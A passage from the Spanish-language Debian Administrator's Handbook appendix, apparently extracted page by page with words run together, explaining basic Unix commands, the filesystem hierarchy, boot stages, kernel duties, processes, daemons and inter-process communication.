Page 1966: El Libro Del Administrador de Debian - Raphael Hertzog

Si ejecuta ps aux, obtendrá unaenumeración de los procesosactualmente en ejecución y le premitiráidentificarlos por su pid (id de proceso:«process id»). Una vez que sabe el pidde un proceso, puede ejecutar kill-señal pid para enviarle una señal(siempre que sea el dueño del proceso).Existen varias señales, las másutilizadas son TERM (pedido determinación) y KILL (finalizaciónforzada).

El intérprete de órdenes también puedeejecutar programas en segundo plano sila orden finaliza con «&». Cuandoutiliza el símbolo «et», el usuariorecupera el control de la consola

Page 1967: El Libro Del Administrador de Debian - Raphael Hertzog

inmediatamente aún cuando la ordencontinúa en ejecución (escondido delusuario como un proceso en segundoplano). El programa jobs («trabajos»)enumerará los procesos ejecutándoseen segundo plano; si ejecuta fg%número-de-trabajo (por primerplano: «foreground») recuperará enprimer plano una orden. Cuando unprograma esté ejecutándose en primerplano (ya sea porque se lo inició de esaforma o porque se lo recuperó desdesegundo plano con fg) puede pausar elproceso y obtener el control de la líneade órdenes con la combinación deteclas Control+Z. Luego puedecontinuar el proceso en segundo planocon bg %número-de-trabajo (por

Page 1968: El Libro Del Administrador de Debian - Raphael Hertzog

«segundo plano»: «background»).

B.1.5. Información desistema: memoria,espacio en disco,identidadEl programa free («libre») muestrainformación sobre la memoria; df(libre en disco: «disk free») reporta elespacio en disco disponible para cadauno de los discos montados en elsistema de archivos. Ambos poseen laopción -h (legible por humanos:«human readable») convierte los

Page 1969: El Libro Del Administrador de Debian - Raphael Hertzog

tamaños en unidades más legibles(frecuentemente mebibytes ogibibytes). De forma similar, elprograma free entiende las opciones -my -g con las que mostrará,respectivamente, los datos enmebibytes o gibibytes.

$ free

total used free shared buffers cached

Mem: 1028420 1009624 18796 0 47404 391804

-/+ buffers/cache: 570416 458004

Swap: 2771172 404588 2366584

$ df

Filesystem 1K-blocks Used Available Use% Mounted on

/dev/sda2 9614084 4737916 4387796 52% /

tmpfs 514208 0 514208 0% /lib/init/rw

udev 10240 100 10140 1% /dev

tmpfs 514208 269136 245072 53% /dev/shm

/dev/sda5 44552904 36315896 7784380 83% /home

Page 1970: El Libro Del Administrador de Debian - Raphael Hertzog

El programa id muestra la identidaddel usuario ejecutando la sesión juntocon la lista de grupos a los quepertenece. Debido a que el acceso aalgunos archivos o dispositivos puedeestar limitados a miembros de ciertosgrupos, puede ser útil verificar a quégrupos se pertenece.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

Page 1971: El Libro Del Administrador de Debian - Raphael Hertzog

B.2. Organizaciónde la jerarquía delsistema dearchivos

B.2.1. El directorioraízUn sistema Debian está organizadosegún el estándar de jerarquía dearchivos (FHS: «File HierarchyStandard»). Este estándar define el

Page 1972: El Libro Del Administrador de Debian - Raphael Hertzog

propósito de cada directorio. Porejemplo, se describen los directorios deprimer nivel como sigue:

/bin/: programas básicos;/boot/: núcleo Linux y otrosarchivos necesarios para lasprimeras etapas del proceso dearranque;/dev/: archivos de dispositivo;/etc/: archivos de configuración;/home/: archivos personales delos usuarios;/lib/: bibliotecas básicas;/media/*: puntos de montaje paradispositivos removibles (CD-ROM, llaves USB, etc.);/mnt/: punto de montaje

Page 1973: El Libro Del Administrador de Debian - Raphael Hertzog

temporal;/opt/: aplicaciones adicionalesprovistas por terceros;/root/: archivos personales deladministrador (root);/sbin/: programas de sistema;/srv/: datos utilizados por losservidores en este sistema;/tmp/; archivos temporales;generalmente se vacía estedirectorio durante el arranque;/usr/: aplicaciones; estedirectorio está subdividido en bin,sbin, lib (según la misma lógicaque el directorio raíz). Lo que esmás, /usr/share/ contiene datosindependientes de la arquitectura.El objetivo de /usr/local/ es

Page 1974: El Libro Del Administrador de Debian - Raphael Hertzog

para que el administrador instaleaplicaciones manualmente sinsobreescribir archivosadministrados por el sistema depaquetes (dpkg)./var/: datos variablesadministrados por demonios. Estoincluye archivos de registro, colas,cachés, etc./proc/ y /sys/ son específicosdel núcleo Linux (y no son partedel FHS). El núcleo los utilizapara exportar datos a espacio deusuario.

B.2.2. El directoriopersonal de los

Page 1975: El Libro Del Administrador de Debian - Raphael Hertzog

usuariosEl contenido del directorio personal deun usuario no está estandarizado, perosí existen algunas convencionesnotables. Una de ellas es queusualmente se refiere al directoriopersonal de un usuario con unavirgulilla («~»). Es útil saberlo ya quelos intérpretes de órdenes reemplazanuna virgulilla automáticamente con eldirectorio correcto (generalmente/home/usuario/).

Frecuentemente las aplicacionesalmacenan sus archivos deconfiguración en el directorio personal

Page 1976: El Libro Del Administrador de Debian - Raphael Hertzog

del usuario, pero sus nombresgeneralmente comienzan con un punto(por ejemplo, el cliente de correo muttalmacena su configuración el~/.muttrc). Los nombres de archivosque comienzan con un punto sonescondidos de forma predeterminada ysólo serán enumerados por ls cuandoutilice la opción -a.

Algunos programas utilizan múltiplesarchivos de configuración organizadosen un directorio (por ejemplo:~/.evolution/). Algunas aplicaciones(como el navegador web Iceweasel)también utlizarán su directorio paraalmacenar un caché de datosdescargados. Esto significa que estos

Page 1977: El Libro Del Administrador de Debian - Raphael Hertzog

directorios pueden llegar a utilizarmucho espacio en disco.

Los escritorios gráficos generalmentemuestran en el escritorio (es decir, loque se ve cuando se cierran ominimizan todas las aplicaciones) elcontenido del directorio ~/Desktop/(or ~/Escritorio/ o el términoapropiado si el sistema estáconfigurado en otro idioma).

Finalmente, el sistema de correo aveces almacena sus correos entrantesen un directorio ~/Mail/.

Page 1978: El Libro Del Administrador de Debian - Raphael Hertzog

B.3. Funcionamientointerno de unequipo: lasdiferentes capasinvolucradasGeneralmente se considera a un equipocomo algo bastante abstracto, y lainterfaz visible al exterior es muchomás simple que su complejidad interna.Esta complejidad proviene, en parte, dela cantidad de partes involucradas. Sinembargo, podemos visualizar estas

Page 1979: El Libro Del Administrador de Debian - Raphael Hertzog

piezas en capas, donde cada capa sólointeractúa con aquellas inmediatamentesobre y bajo ella.

Un usuario final puede vivir sin saberestos detalles… siempre que todofuncione. Cuando nos enfrentamos conun problema como «¡Internet noanda!», lo primero que debemos haceres identificar en qué capa se origina elproblema. ¿Está funcionando la tarjetade red (hardware)? ¿Es reconocida porel equipo? ¿El núcleo Linux la ve?¿Los parámetros de red configuradosson correctos? Todas estas preguntasaíslan una capa apropiada y se enfocanen una fuente potencial del problema.

Page 1980: El Libro Del Administrador de Debian - Raphael Hertzog

B.3.1. La capa másprofunda: el hardwareComencemos recordando básicamenteque una máquina es, primero yprincipal, un conjunto de elementos dehardware. Generalmente tendrá unaplaca principal con uno (o más)procesadores, algo de RAM,controladores de dispositivos y puertosde extensión para placas opcionales(para otros controladores dedispositivos). Los más notables entreestos controladores son IDE (ATAparalelo), SCSI y ATA Serial paraconectar dispositivos de

Page 1981: El Libro Del Administrador de Debian - Raphael Hertzog

almacenamiento como discos duros.Entre otros controladoresencontraremos a USB, que es capaz dealbergar una gran variedad dedispositivos (desde cámaras web atermómetros, desde teclados a sistemasde automatización hogareña) yIEEE_1894 (Firewire). Estoscontroladores frecuentemente permitenconectar varios dispositivos por lo quese conoce al subsistema completogestionado por un controlador como«canal» («bus»). Las placas opcionalesincluyen tarjetas gráficas (dondeconectará pantallas y monitores),tarjetas de sonido, tarjetas de interfazde red, etc. Algunas placas principalesson prefabricadas con estas

Page 1982: El Libro Del Administrador de Debian - Raphael Hertzog

funcionalidades y no necesitan placasopcionales.

EN LA PRÁCTICA Revisión delfuncionamiento del hardware

Puede ser complicado revisar que unaporción de hardware funciona. Por el otrolado, probar que no funciona a veces esmuy simple.

Un disco duro está hecho de platosgiratorios y cabezas magnéticas móviles.Cuando se enciende un disco duro, elmotor de las placas genera un zumbidocaracterístico. También disipa energía enforma de calor. Por lo tanto, un disco duroque se mantiene frío y silencioso alencender está roto.

Las tarjetas de red frecuentemente

Page 1983: El Libro Del Administrador de Debian - Raphael Hertzog

incluyen LEDs que muestran el estado delenlace. Si tiene un cable conectado quelleva a un switch o hub de red funcional,al menos un LED estará encendido. Siningún LED enciende, la tarjeta en sí, eldispositivo de red o el cable entre ellostiene una falla. El siguiente paso,obviamente, es probar cada componentede forma individual.

Algunas placas opcionales —especialmente las tarjetas de video 3D —incluyen dispositivos de enfriamientocomo disipadores de calor y/oventiladores. Si el ventilador no gira aúncuando se enciende la tarjeta, unaexplicación posible es elsobrecalentamiento de la tarjeta. Estotambién es aplicable a el o losprocesadores principales ubicados en laplaca principal.

Page 1984: El Libro Del Administrador de Debian - Raphael Hertzog

B.3.2. El iniciador: elBIOSEl hardware, por sí mismo, no es capazde realizar tareas útiles sin un softwareasociado que lo maneje. El propósitode los sistemas operativos y lasaplicaciones es controlar e interactuarcon el hardware. Éstos, sin embargo,necesitan hardware funcional paraejecutar.

Esta simbiosis entre el hardware y elsoftware no ocurre por sí sola. Cuandorecién se enciende el equipo es

Page 1985: El Libro Del Administrador de Debian - Raphael Hertzog

necesario cierta configuración inicial.El BIOS asume este rol, un softwarepequeño embebido en la placa principalque ejecuta automáticamente cuando seenciende. Su tarea primaria es buscar elsoftware y cederle el control.Frecuentemente esto involucra buscarel primer disco duro con un sector dearranque (también conocido comoregistro maestro de arranque o MBR:«Master Boot Record»), cargar dichosector y ejecutarlo. De allí en adelante,usualmente no se utiliza el BIOS (hastael próximo arranque).

HERRAMIENTA «Setup», laherramienta de configuración del BIOS

Page 1986: El Libro Del Administrador de Debian - Raphael Hertzog

El BIOS también contiene un softwarellamado «Setup», diseñado para permitirconfigurar aspectos del equipo. Enparticular, permite elegir el dispositivo dearranque preferido (por ejemplo, un discoflexible o dispositivo CD-ROM),configurar el reloj del sistema, etc. Iniciar«Setup» usualmente involucra presionaruna tecla tan pronto como enciende elequipo. Generalmente esta tecla es Del oEsc, pero a veces también puede ser F2 oF10. La mayoría de las veces, la teclacorrecta aparece brevemente en lapantalla durante el arranque.

El sector de arrance, por su parte,contiene otro software pequeñollamado el gestor de arranque, cuyopropósito es encontrar y ejecutar un

Page 1987: El Libro Del Administrador de Debian - Raphael Hertzog

sistema operativo. Debido a que dichogestor de arranque no está embebido enla placa principal sino que se lo cargadesde el disco, puede ser másinteligente que el BIOS, lo que explicaporqué el BIOS no carga el sistemaoperativo por su cuenta. Por ejemplo,el gestor de arranque (frecuentementeGRUB en los sistemas Linux) puedeenumerar los sistemas operativosdisponibles y pedirle al usuario queelija uno. Usualmente, provee untiempo de espera y una opciónpredeterminada. A veces el usuariotambién puede decidir agregarparámetros que pasarle al núcleo, etc.Eventualmente, se encuentra el núcleo,se lo carga en memoria y se lo ejecuta.

Page 1988: El Libro Del Administrador de Debian - Raphael Hertzog

El BIOS también está a cargo dedetectar e inicializar algunosdispositivos. Obviamente, esto incluyelos dispositivos IDE/SATA(generalmente discos duros ydispositivos CD-ROM), pero tambiéndispositivos PCI. Normalmente, seenumeran en pantalla los dispositivosdetectados durante el proceso dearranque. Si la lista pasa demasiadorápido, utilice la tecla Pause paracongelarla el tiempo suficiente paraleerla. Si faltan dispositivos PCIinstalados, es un mal augurio. En elpeor de los casos el dispositivo tieneuna falla. En el mejor de los casos,simplemente es incompatible con laversión del BIOS o la placa principal.

Page 1989: El Libro Del Administrador de Debian - Raphael Hertzog

Las especificaciones PCI evolucionan yno se garantiza que las placasprincipales antiguas sean compatiblescon dispositivos PCI más nuevos.

B.3.3. El núcleoTanto el BIOS como el gestor dearranque sólo ejecutan por unossegundos cada uno; ahora llegamos alprimer software que ejecuta por mástiempo: el núcleo del sistemaoperativo. Este núcleo asume el rol deldirector en una orquesta y asegura lacoordinación entre el hardware y elsoftware. Este papel involucra variastareas que incluyen: administrar el

Page 1990: El Libro Del Administrador de Debian - Raphael Hertzog

hardware, gestionar procesos, usuariosy permisos, el sistema de archivos, etc.El núcleo provee una base común atodos los otros programas en elsistema.

B.3.4. El espacio deusuarioSi bien todo lo que ocurre fuera delnúcleo puede agruparse bajo el nombre«espacio de usuario», todavía podemossepararlo en capas de software. Sinembargo, sus interacciones son máscomplejas que antes y la clasificaciónpuede no ser tan simple. Una

Page 1991: El Libro Del Administrador de Debian - Raphael Hertzog

aplicación normalmente utilizabibliotecas, que a su vez involucran alnúcleo, pero la comunicación tambiénpuede involucrar otros programas oinclusive bibliotecas que interactúanentre sí.

Page 1992: El Libro Del Administrador de Debian - Raphael Hertzog

B.4. Algunastareasadministradas porel núcleo

B.4.1. Administracióndel hardwareEl núcleo tiene, antes que nada, la tareade controlar las partes del hardware,detectarlas, encenderlas cuando seenciende el equipo, etc. También los

Page 1993: El Libro Del Administrador de Debian - Raphael Hertzog

pone a disposición del software de másalto nivel con una interfaz deprogramación simplificada para que lasaplicaciones puedan aprovechardispositivos sin tener que preocuparsepor detalles como cuál puerto deextensión es aquél en el que estáconectada una tarjeta. La interfaz deprogramación también provee una capade abstracción; permite, por ejemplo,que el software de videoconferenciasutilice una cámara webindependientemente de su modelo yfabricante. El software puede utilizarsimplemente la interfaz video paraLinux (V4L: «Video for Linux») y elnúcleo traduce las llamadas a lasfunciones de esta interfaz a las órdenes

Page 1994: El Libro Del Administrador de Debian - Raphael Hertzog

de hardware reales que necesita lacámara específica que está utilizando.

El núcleo exporta muchos detallessobre el hardware detectado a través delos sistemas de archivos virtuales/proc/ y /sys/. Muchas herramientasresumen estos detalles. Entre ellas,lspci (en el paquete pciutils) enumeralos dispositivos PCI, lsusb (en elpaquete usbutils) enumera losdispositivos USB y lspcmcia (en elpaquete pcmciautils) enumera lastarjetas PCMCIA. Estas herramientasson muy útiles para identificar elmodelo exacto de un dispositivo. Estaidentificación permite realizarbúsquedas más precisas en la web lo

Page 1995: El Libro Del Administrador de Debian - Raphael Hertzog

que, a su vez, lleva a documentos másrelevantes.

Example B.1. Ejemplo deinformación provista por lspci ylsusb

$ lspci

[...]

00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)

00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)

00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)

[...]

01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)

02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)

$ lsusb

Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.

Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.

Bus 005 Device 007: ID 045e:00dd Microsoft Corp.

Bus 005 Device 006: ID 046d:c03d Logitech, Inc.

[...]

Page 1996: El Libro Del Administrador de Debian - Raphael Hertzog

Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Estos programas tienen una opción -v,que mostrará información mucho másdetallada (pero generalmenteinnecesaria). Finalmente, el programalsdev (en el paquete procinfo) enumeralos recuros de comunicación utilizadospor los dispositivos.

Las aplicaciones frecuentementeacceden a los dispositivos a través dearchivos especiales creados en /dev/(revise el recuadro VOLVER A LOSCIMIENTOS Permisos de acceso adispositivos). Éstos son archivosespeciales que representan discos (porejemplo: /dev/hda y /dev/sdc),

Page 1997: El Libro Del Administrador de Debian - Raphael Hertzog

particiones (/dev/hda1 o /dev/sdc3,ratones (/dev/input/mouse0),teclados (/dev/input/event0),tarjetas de sonido (/dev/snd/*),puertos seriales (/dev/ttyS*), etc.

B.4.2. Sistemas dearchivosLos sistemas de archivos son uno delos aspectos más destacados del núcleo.Los sistemas Unix agrupan todos losarchivos que almacenan en unajerarquía única, lo que permite a losusuarios (y las aplicaciones) acceder alos datos simplemente conociendo su

Page 1998: El Libro Del Administrador de Debian - Raphael Hertzog

ubicación dentro de dicha jerarquía.

El nombre del punto de partida de esteárbol jerárquico es la raíz, /. Estedirectorio puede tener subdirectorioscon nombres. Por ejemplo, el nombredel subdirectorio home de / es /home/.Este subdirectorio, a su vez, puedecontener otros subdirectorios y asísucesivamente. Cada directoriotambién puede contener archivos,donde se almacenarán los datos en sí.Por lo tanto, el nombre/home/rmas/Desktop/hello.txt serefiere al archivo hello.txtalmacenado en el subdirectorioDesktop del subdirectorio rmas deldirectorio home presente en la raíz. El

Page 1999: El Libro Del Administrador de Debian - Raphael Hertzog

núcleo traduce este sistema de nombresen el almacenamiento físico real en undisco.

A diferencia de otros sistemas, existesólo una jerarquía de este tipo quepuede integrar datos de varios discos.Se utiliza uno de estos discos comoraíz y los demás son «montados» endirectorios de la jerarquía (el programaUnix se llama mount); luego estosotros discos estarán disponibles bajoestos «puntos de montaje». Estopermite almacenar los directoriospersonales de los usuarios(tradicionalmente almacenados en/home/) en un disco secundario quecontendrá directorios rhertzong y

Page 2000: El Libro Del Administrador de Debian - Raphael Hertzog

rmas. Una vez que se montó el disco en/home/, estos directorios estarándisponibles en su ubicación usual ycontinuarán funcionando las rutascomo/home/rmas/Desktop/hello.txt.

Hay muchos sistemas de archivos quecorresponden con muchas formas dealmacenar físicamente los datos endiscos. Los más conocidos son ext2,ext3 y ext4, pero existen otros. Porejemplo, vfat es el sistema de archivosutilizado históricamente por lossistemas operativos DOS y Windows,lo que permite utilizar discos durostanto en Debian como en Windows. Encualquier caso, un sistema de archivos

Page 2001: El Libro Del Administrador de Debian - Raphael Hertzog

debe ser preparado en un disco antesque pueda ser montado, se conoce estaoperación como «dar formato». Losprogramas como mkfs.ext3 (dondemkfs significa crear sistema dearchivos: «MaKe FileSystem») seencargan de esta operación. Estosprogramas necesitan, como parámetro,un archivo de dispositivo querepresenta la partición a la que darformato (por ejemplo: /dev/sda1).Esta operación es destructiva y sólodebe ejecutarla una vez, exceptocuando uno desee eliminardeliberadamente un sistema dearchivos y comenzar nuevamente desdecero.

Page 2002: El Libro Del Administrador de Debian - Raphael Hertzog

Existen incluso sistemas de archivos dered, como NFS, en el que los datos noson almacenados en un disco local. Ensu lugar, se transmiten los datos através de la red a un servidor que losalmacena y obtiene a pedido. Laabstracción del sistema de archivosevita que al usuario le importe: losarchivos continúan disponibles en laforma jerárquica usual.

B.4.3. FuncionescompartidasDebido a que una cantidad de funcionesson utilizadas por todo software, tiene

Page 2003: El Libro Del Administrador de Debian - Raphael Hertzog

sentido centralizarlas en el núcleo. Porejemplo, la gestión compartida desistemas de archivos permite quecualquier aplicación simplemente abraun archivo, sin preocuparse dónde estáalmacenado físicamente dicho archivo.Éste puede estar almacenado endiferentes porciones de un disco duro,dividido entre varios discos duros oinclusive almacenado en un servidorremoto. Las funciones decomunicación compartida sonutilizadas por las aplicaciones paraintercambiar datos independientementede la forma en la que se transportan losmismos. Por ejemplo, el transportepuede ser a través de una combinaciónde redes locales o inalámbricas o a

Page 2004: El Libro Del Administrador de Debian - Raphael Hertzog

través de una línea telefónica terrestre.

B.4.4. Gestión deprocesoUn proceso es una instancia enejecución de un programa. Estonecesita memoria para almacenar tantoel programa en sí como los datos conlos que trabaja. El núcleo es elencargado de crearlos y seguirlos.Cuando se ejecuta un programa,primero el núcleo reservar memoria,carga en ella el código ejecutable desdeel sistema de archivos y luego inicia laejecución de este código. Mantiene

Page 2005: El Libro Del Administrador de Debian - Raphael Hertzog

información sobre este proceso, de lasque la más visible es un número deidentificación conocido como pid(identificador de proceso: «processidentifier»).

Los núcleos similares a Unix(incluyendo a Linux), al igual quemuchos otros sistemas operativosmodernos, poseen la capacidad de ser«multitarea». En otras palabras,permite ejecutar muchos procesos «almismo tiempo». En realidad sólo hayun proceso ejecutando en un momentodado, pero el núcleo divide el tiempoen pequeñas porciones y ejecuta enorden a cada proceso. Debido a queestas divisiones de tiempo son muy

Page 2006: El Libro Del Administrador de Debian - Raphael Hertzog

pequeñas (en el rango de losmilisegundos), crean la ilusión deprocesos ejecutando en paralelo, aúncuando sólo están activos durantealgunos intervalos y en espera el restodel tiempo. Si las divisiones de tiemposon muy extensas, la aplicación puedeparecer lenta y poco interactiva alusuario. Si son muy pequeñas, elsistema perderá tiempo cambiandotareas demasiado frecuentemente. Sepueden personalizar estas decisionescon las prioridades de procesos. Losprocesos con prioridad alta ejecutaránpor más tiempo y en intervalos másfrecuentes que los procesos conprioridad baja.

Page 2007: El Libro Del Administrador de Debian - Raphael Hertzog

NOTA Sistemas multiprocesador (yvariaciones)

La restricción aquí descripta sólo es uncaso extremo. La restricción actual esque, en cada momento, sólo puede existirun proceso en ejecución por núcleo deprocesador. Los sistemasmultiprocesador, multinúcleo o con«hyper-threading» («multihilos») permiteejecutar varios procesos en paralelo. Sinembargo, se utiliza el mismo sistema dedivisión de tiempo para administrar casosen los que existan más procesos activosque núcleos de procesador disponibles.Este es el caso usual: un sistema básico,aún aquellos mayormente desocupados,casi siempre poseen decenas de procesosen ejecución.

Page 2008: El Libro Del Administrador de Debian - Raphael Hertzog

Por supuesto, el núcleo permiteejecutar varias instanciasindependientes del mismo programa.Pero cada una de ellas sólo puedeacceder sus propias divisiones detiempo y su propia memoria. Sus datos,por lo tanto, se mantienenindependientes.

B.4.5. Gestión depermisosLos sistemas similares a Unix tambiénson multiusuario. Proveen un sistemade gestión de permisos que permiteusuarios y grupos independientes y

Page 2009: El Libro Del Administrador de Debian - Raphael Hertzog

decidir permitir o bloquear accionessegún sus permisos. El núcleo gestiona,para cada proceso, los datos quepermite verficación de permisos. Lamayor parte del tiempo esto significaque la «identidad» del proceso es lamisma que la del usuario que lo inició.Además, el proceso sólo puede realizaracciones que pueda realizar el usuario.Por ejemplo, intentar abrir un archivorequiere que el núcleo verifique laidentidad del proceso según lospermisos de acceso (para más detallessobre este ejemplo particular, revise laSection 9.3, “Administración depermisos”).

Page 2010: El Libro Del Administrador de Debian - Raphael Hertzog

B.5. El espacio deusuarioEl «espacio de usuario» se refiere alentorno de ejecución de procesosnormales (en contraste con el núcleo).Esto no significa necesariamente queusuarios inciaron realmente estosprocesos debido a que un sistemaestándar frecuentemente poseeprocesos «demonio» que ejecutaninclusive antes que el usuario inicieuna sesión. Los procesos demonio sonprocesos en espacio de usuario.

Page 2011: El Libro Del Administrador de Debian - Raphael Hertzog

B.5.1. ProcesoCuando el núcleo supera su fase deinicialización, ejecuta el primerproceso: init. El proceso #1 rara vez esútil por sí mismo, y los sistemassimilares a Unix ejecutan con un ciclode vida completo de procesos.

Primero que nada, un proceso puedeclonarse a sí mismo (esto es conocidocomo bifurcación — «fork»). El núcleoreserva un espacio de memoria deproceso nuevo, pero idéntico, y unnuevo proceso para utilizarlo. En estemomento, la única diferencia entreestos dos procesos es su pid. Es

Page 2012: El Libro Del Administrador de Debian - Raphael Hertzog

costumbre llamar proceso hijo al nuevoproceso y proceso padre al procesocuyo pid no cambió.

A veces, el proceso hijo continúa suvida de forma independiente a supadre, con sus propios datos copiadosdel proceso padre. En muchos casos,sin embargo, el proceso hijo ejecutaotro programa. Con unas pocasexcepciones, simplemente sereemplaza su memoria con aquella delnuevo programa y comienza laejecución del mismo. Una de lasprimeras acciones del proceso número1 es duplicarse a sí mismo (lo quesignifica que, por una pequeña fracciónde tiempo, dos copias en ejecución del

Page 2013: El Libro Del Administrador de Debian - Raphael Hertzog

mismo proceso init), pero luego sereemplaza el proceso hijo con el primerscript de inicialización de sistema,generalmente /etc/init.d/rcS. Estescript, por su parte, se clona a sí mismoy ejecuta otros varios programas. Enalgún punto, uno de los proceso de ladescendencia de init inicia una interfazgráfica en la que los usuarios puedeniniciar sesión (describimos con másdetalle la secuencia real de eventos enla Section 9.1, “Arranque delsistema”).

Cuando un proceso finaliza la tareapara la que fue iniciado, termina. Elnúcleo recupera la memoria asignada aeste proceso y no le asignará más

Page 2014: El Libro Del Administrador de Debian - Raphael Hertzog

divisiones de tiempo de ejecución. Sele informa al proceso padre sobre lafinalización de su proceso hijo, lo quepermite a un proceso esperar que secomplete una tarea que delegó a unproceso hijo. Este comportamiento esobvio a simple vista en los intérpretesde línea de órdenes (conocidos comoconsolas — «shells»). Cuando seingresa una orden en una consola, sólovuelve el prompt cuando finaliza laejecución de dicha orden. La mayoríade las consolas permiten ejecutarprogramas en segundo plano, sólo escuestión de agregar un & al final de laorden. Se mostrará el promptinmediatamente, lo que puede llevar aproblemas si la orden necesita mostrar

Page 2015: El Libro Del Administrador de Debian - Raphael Hertzog

datos por su cuenta.

B.5.2. DemoniosUn «demonio» es un proceso iniciadoautomáticamente por la secuencia deinicio. Continúa ejecutando (ensegundo plano) para realizar tareas demantenimiento o proveer servicios aotros procesos. Esta «tarea en segundoplano» es realmente arbitraria y notiene un rol especial desde el punto devista del sistema. Simplemente sonprocesos, muy similares a otrosproceso, que se ejecutarán cuando lecorresponda a su división de tiempo.Esta distinción es sólo para los

Page 2016: El Libro Del Administrador de Debian - Raphael Hertzog

humanos: se dice de un proceso queejecuta sin interacción de un usuario(en particular, sin una interfaz gráfica)que ejecuta «en segundo plano» o«como un demonio».

VOCABULARIO Demonio, ¿un términodespectivo?

En inglés, se utiliza el término «daemon»(en lugar de «demon») para hacerreferencia a los demonios. Amboscomparten su etimología griega pero elprimero no implica un mal diabólico; encambio, debería entenderse como unaespecie de espíritu de ayuda. Ladistinción es suficientemente sutil eninglés pero es aún peor en otros idiomas(como el español) en el que se utiliza lamisma palabra para ambos significados.

Page 2017: El Libro Del Administrador de Debian - Raphael Hertzog

Describimos en detalle muchosdemonios en el Chapter 9, ServiciosUnix.

B.5.3. Comunicaciónentre procesosUn proceso aislado, sea un demonio ouna aplicación interactiva, rara vez esútil por sí misma, razón por la queexisten varios métodos que permiten lacomunicación entre dos procesosseparados, ya sea para intercambiardatos o para que se controlen entre sí.El término genérico para referirse a

Page 2018: El Libro Del Administrador de Debian - Raphael Hertzog

esto es comunicación entre procesos(abreviado IPC: «Inter-ProcessCommunication»).

El sistema IPC más simple es utilizararchivos. El proceso que desea enviardatos, los escribe en un archivo (cuyonombre ya conozca), mientras que elreceptor sólo debe abrir este archivo yleer su contenido.

En el caso en que no deseemosalmacenar datos en el disco, podemosutiliza una tubería («pipe»), quesimplemente es un objeto con dosextremos; los bytes escritos en uno deellos son legibles en el otro. Si dosprocesos separados controlan los

Page 2019: El Libro Del Administrador de Debian - Raphael Hertzog

extremos, esto se convierte en un canalde comunicación entre procesos simpley conveniente. Podemos clasificar lastuberías en dos: tuberías con nombre ytuberías anónimas. Se representa a unatubería con nombre como un elementoen el sistema de archivos (aunque losdatos transmitidos no se almacenen enél), para que ambos procesos puedanabrirlo independientemente si yaconocen la ubicación de la misma. Enlos casos en los que los procesos que secomunican están relacionados (porejemplo, un proceso padre y su hijo), elproceso padre también puede crear unatubería anónima antes de bifurcarseque será heredada por el hijo. Ambosprocesos podrán intercambiar datos a

Page 2020: El Libro Del Administrador de Debian - Raphael Hertzog

través de la tubería sin necesitar elsistema de archivos.

EN LA PRÁCTICA Un ejemplo concreto

Describiremos con algo de detalle lo queocurre cuando se ejecuta en una consolauna orden compleja (una cañería:«pipeline»). Asumiremos que tenemos unproceso bash (la consola de usuarioestándar en Debian), con pid 4374; enesta consola ingresaremos la siguienteorden: ls | sort.

La consola primero interpreta la ordenque ingresamos. En nuestro caso,entiende que hay dos programas (ls ysort), con un flujo de datos de uno al otro(denotado por el carácter |, conocidocomo tubería — «pipe»). bash primero

Page 2021: El Libro Del Administrador de Debian - Raphael Hertzog

crea una tubería sin nombre (que existesólo dentro del proceso bash en sí).

Luego la consola se clona a sí misma; estolleva a un nuevo proceso bash, con pid#4521 (los pid son números abstractos ygeneralmente no tienen un significadoparticular). El proceso #4521 hereda latubería, lo que significa que puedeescribir en su extremo de «entrada»; bashredirige su flujo de salida estándar a laentrada de esta tubería. Luego ejecuta (yse reemplaza a sí mismo) con el programals, que enumera el contenido deldirectorio actual. Debido a que ls escribeen su salida estándar, y anteriormente seredirigió esta salida, efectivamente seenvía su resultado a la tubería.

Ocurre una operación similar para elsegundo programa: bash se clona a sí

Page 2022: El Libro Del Administrador de Debian - Raphael Hertzog

mismo nuevamente, lo que lleva a unnuevo proceso bash con pid #4522.Debido a que también es un proceso hijode #4374, también hereda la tubería;luego bash conecta su entrada estándar ala salida de la tubería y luego ejecuta (yse reemplaza a sí mismo) con el programasort, que ordena su entrada y muestra elresultado.

Ahora están definidas todas las piezas delrompecabezas: ls escribe la lista dearchivos del directorio actual en latubería; sort lee esta lista, la ordenaalfabéticamente y muestra los resultados.Luego finalizan los procesos #4521 y#4522, y el proceso #4374 (que estabaesperando durante esta operación),recupera el control y muestra el promptque permite al usuario ingresar una nuevaorden.

Page 2023: El Libro Del Administrador de Debian - Raphael Hertzog

No toda la comunicación entreprocesos es para mover datos. Enmuchas situaciones, la únicainformación que se necesita transmitirson mensajes de control como«suspender la ejecución» o «continuarla ejecución». Unix (y Linux) proveeun mecanismo llamado señales, através de las que un proceso puedesimplemente enviar una señal (elegidade una lista fija de unas pocas decenasde señales predefinidas) a otro proceso.El único requisito es saber el pid delobjetivo.

Para comunicaciones más complejastambién existen mecanismos que le

Page 2024: El Libro Del Administrador de Debian - Raphael Hertzog

permiten a un proceso acceder, ocompartir, parte de la memoriareservada para otros procesos. Luego secomparte la memoria entre ellos, loque permite intercambiar datos entreellos.

Finalmente, las conexiones de redtambién pueden ayudar a comunicar unproceso; estos procesos inclusive puedeestar ejecutando en diferentes equipos,posiblemente a miles de kilómetros dedistancia.

Es bastante estándar que un sistemasimilar a Unix típico, utilice en variosniveles estos mecanismos.

Page 2025: El Libro Del Administrador de Debian - Raphael Hertzog

B.5.4. BibliotecasLas bibliotecas de funciones tienen unrol crucial en un sistema operativosimilar a Unix. No son programascompletos ya que no se las puedeejecutar por su cuenta, sino coleccionesde fragmentos de código que losprogramas estándar pueden utilizar.Entre las bibliotecas comunes podemosencontrar a:

